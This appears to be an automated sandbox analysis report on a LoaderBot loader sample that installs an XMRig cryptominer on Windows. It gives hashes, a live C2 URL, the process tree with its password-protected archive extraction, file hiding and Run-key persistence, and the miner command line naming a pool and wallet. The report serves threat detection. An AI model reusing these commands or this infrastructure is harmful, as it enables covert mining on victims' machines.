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Analysis

  • max time kernel
    300s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20240611-en
  • resource tags

    arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
  • submitted
    15/07/2024, 05:08

General

  • Target

    cada3e288c060cfdbf02ba7862856e75ae80da25628847ab61ca88742b4e56b9.exe

  • Size

    4.2MB

  • MD5

    ec65a98577fe1efb547b7e62e52e71b6

  • SHA1

    dc25d5b63597fbe49c89c3b21a21facd5fa2d5fc

  • SHA256

    cada3e288c060cfdbf02ba7862856e75ae80da25628847ab61ca88742b4e56b9

  • SHA512

    3082ca0dc0ac1d59ab86a371cacad53c99c979487c895eeba2d2bcb66c05ea6933cce1917bb7fe08906a4ac0c267eda2375cf940d6220b8819dbbedea50be1bc

  • SSDEEP

    98304:kq5rst/26xqh6dyuuLy1rBuAY7bk6hVbCoBpYTVpAJbcTf:kqBsAPhW3uL8BubY6hooD4pAJb

Malware Config

Extracted

Family

loaderbot

C2

https://ct45361.tw1.ru/cmd.php

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 2 IoCs
  • XMRig Miner payload 30 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cada3e288c060cfdbf02ba7862856e75ae80da25628847ab61ca88742b4e56b9.exe
    "C:\Users\Admin\AppData\Local\Temp\cada3e288c060cfdbf02ba7862856e75ae80da25628847ab61ca88742b4e56b9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1384
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3968
      • C:\Windows\system32\mode.com
        mode 65,10
        3⤵
          PID:1004
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e file.zip -p177329647297291883199214736 -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:820
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_5.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:5108
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_4.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:4440
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_3.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:64
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_2.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:2796
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_1.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:164
        • C:\Windows\system32\attrib.exe
          attrib +H "Installer.exe"
          3⤵
          • Views/modifies file attributes
          PID:4756
        • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
          "Installer.exe"
          3⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4420
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 8AjRQPGQfFaMQL4ZNtmz6fSqpNdYZhUVsJxcZC7uiYmi1L5vQpeQr4nGu433wELAERYfH6BsSVBgKSnZcCdKHeYr4Cpj4ja -p x -k -v=0 --donate-level=1 -t 4
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:220
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 8AjRQPGQfFaMQL4ZNtmz6fSqpNdYZhUVsJxcZC7uiYmi1L5vQpeQr4nGu433wELAERYfH6BsSVBgKSnZcCdKHeYr4Cpj4ja -p x -k -v=0 --donate-level=1 -t 4
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4380
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 8AjRQPGQfFaMQL4ZNtmz6fSqpNdYZhUVsJxcZC7uiYmi1L5vQpeQr4nGu433wELAERYfH6BsSVBgKSnZcCdKHeYr4Cpj4ja -p x -k -v=0 --donate-level=1 -t 4
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:5036
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 8AjRQPGQfFaMQL4ZNtmz6fSqpNdYZhUVsJxcZC7uiYmi1L5vQpeQr4nGu433wELAERYfH6BsSVBgKSnZcCdKHeYr4Cpj4ja -p x -k -v=0 --donate-level=1 -t 4
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3824
          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 8AjRQPGQfFaMQL4ZNtmz6fSqpNdYZhUVsJxcZC7uiYmi1L5vQpeQr4nGu433wELAERYfH6BsSVBgKSnZcCdKHeYr4Cpj4ja -p x -k -v=0 --donate-level=1 -t 4
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4376

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\main\7z.dll

      Filesize

      1.6MB

      MD5

      72491c7b87a7c2dd350b727444f13bb4

      SHA1

      1e9338d56db7ded386878eab7bb44b8934ab1bc7

      SHA256

      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

      SHA512

      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe

      Filesize

      458KB

      MD5

      619f7135621b50fd1900ff24aade1524

      SHA1

      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

      SHA256

      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

      SHA512

      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

      Filesize

      2.2MB

      MD5

      2dd896e0a861617e38de37daf1e6b1da

      SHA1

      a46fa8572d4ad1270589751a0b058b8fc8937541

      SHA256

      1e7f8b4aad2fc79ff0d6c2cdb58dcca6300553f1591cdd4da84375790d719792

      SHA512

      1c84cfd77b0cb2c7bf0c0ec2d0795d289549d88a59e9cd6b04957ec0a96289b8014fbfd805083f5578625f58fc552ce04257e08056726b2165e84fd3c12b860d

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe

      Filesize

      4.0MB

      MD5

      fd58cb30a2bcb91e173119504090d901

      SHA1

      581b555164f35397e9907b582fb6aa7f13c114c7

      SHA256

      2225cb35cdfa4da78b8fd62ea94c7aee3a374c20deac430ed9bc487f916ae274

      SHA512

      b0746c8b80e285bae5049100842c0fa670aa575c7a121f8bd33c475e973905784e1e817c0c653de10b75a46ee6ca722fb1a0582dbce573aa132e8754955a30c1

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

      Filesize

      1.7MB

      MD5

      5a7a86ac92fadc6b2c4ac348d4a476a5

      SHA1

      9ac57d59446eba28adc43fcc6e4d288814d07904

      SHA256

      9b94af357b358e53becf5ca5efa57279d09f2f035c12a0b47b88909530306fe3

      SHA512

      5419c9720f547ef6c0270c59c6b5b5300d33f3550ed49fde4ebd38cc5faf98037a7a4d7e943fc7db1d77ff5f7c4a768a86e385ce5e9bf026f2e1c8e8aca48eb8

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

      Filesize

      1.7MB

      MD5

      49756f4c168817ca2ff7da479904830d

      SHA1

      45ec80d62c1a13cec6c6017e5ebef64796089ed5

      SHA256

      3552130a00a388c94d533addf308765e736731d5c70479171f2810368fd39bbe

      SHA512

      a08a25dc62a5a589898ea0d8b9906d6c0ea6617f81c2f4b8e8c688c53bbb317eeca620f56635fabedf7a776dffe862807db3cb6ab5d69884c9e00a21200fffa8

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip

      Filesize

      1.7MB

      MD5

      f0fa87d69fa4fc6350b87842cfcc230c

      SHA1

      7d218179b37c1cd1922015d26221d673908c6b80

      SHA256

      6513a434133a0e8256c763ac9f4f3bf6f3b0a0870b28c511aa7058e50c7516ba

      SHA512

      8e0add1083b00351091e656cf12bbaf6bfc643b89afd0824ce26956774b9a4b4f36a892e4b7986f09687e098bde980bc5a8548c854b75576b47abcf07a2683f6

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip

      Filesize

      1.7MB

      MD5

      8c29a86951e06ded8f158a49e22c0aa2

      SHA1

      58c1df0615df978cc19620e785324e14c5732857

      SHA256

      42bd3131fb621e1a371d7af071e84e5f2d011ca61f7e58eac52824d52022ab9d

      SHA512

      f21d12154154268e0850b29e65c403688bcadc759bd5ff58ffb83fdf64856da9e4964f3a3116cea109fab38269d485882a509a7ef4144c9834ee029bcdfbea55

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip

      Filesize

      3.3MB

      MD5

      0308cf60e717a3063ca7445a30255eb5

      SHA1

      3890bcb68cecf35dbaf9957e739e16efce005b72

      SHA256

      afca704f58766e697fd0d316bddba6bef0ba9a5d81318a25c6e67bc181d1d082

      SHA512

      3f57d00396bc9e27b1949fe4256010d9eed6e0ac492fe7b54ca9162c309209c7506e2403a1265278c7c0c66960fb0be9b6ed229e48d462c2d55dbffa017962c7

    • C:\Users\Admin\AppData\Local\Temp\main\file.bin

      Filesize

      3.3MB

      MD5

      bdc897346d8a044deb4ac2463f229355

      SHA1

      0b3038a96ae1c91540ba3fd567e757d497b50401

      SHA256

      7fc65fc4794e2dfb8e36db71df4e4b4a77d39d46a6e8b0ebd83d4f6dbb90a4bd

      SHA512

      095bd7c21ca1c0266e0b3606c4e87878fca59a8a7ea79b63be93e2f5e42199f1dcb0496b7e112ed2a8c37177e64230a5ab29b00338e81cbd3267b6ea1a266d07

    • C:\Users\Admin\AppData\Local\Temp\main\main.bat

      Filesize

      473B

      MD5

      947a718853f2f09f121101d6f2453100

      SHA1

      6fd4186cfe03e87de8aa09b257bcc152263253cc

      SHA256

      ab6c8d4d99bf162ce3aa87599b0c911cc22357b7df252658ad27fdf958e6e224

      SHA512

      aea13e2b5d730c24fb70d3484bcc102a0a16038926914c1e039e390812eb5715d47d96487c231f1d442fa7e739f8c183db81d3396a077075dfe41b23f045d3e4

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • memory/220-67-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/220-69-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/220-64-0x00000000001D0000-0x00000000001E4000-memory.dmp

      Filesize

      80KB

    • memory/220-63-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/220-65-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/220-66-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/220-71-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/220-68-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3824-87-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3824-89-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3824-90-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3824-88-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3824-86-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3824-85-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3824-84-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-97-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-98-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-99-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-100-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-102-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-101-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-96-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-103-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-93-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-94-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4376-95-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4380-74-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4380-76-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4380-75-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4420-58-0x0000000005700000-0x0000000005766000-memory.dmp

      Filesize

      408KB

    • memory/4420-55-0x0000000000780000-0x0000000000B7E000-memory.dmp

      Filesize

      4.0MB

    • memory/5036-81-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5036-80-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5036-79-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB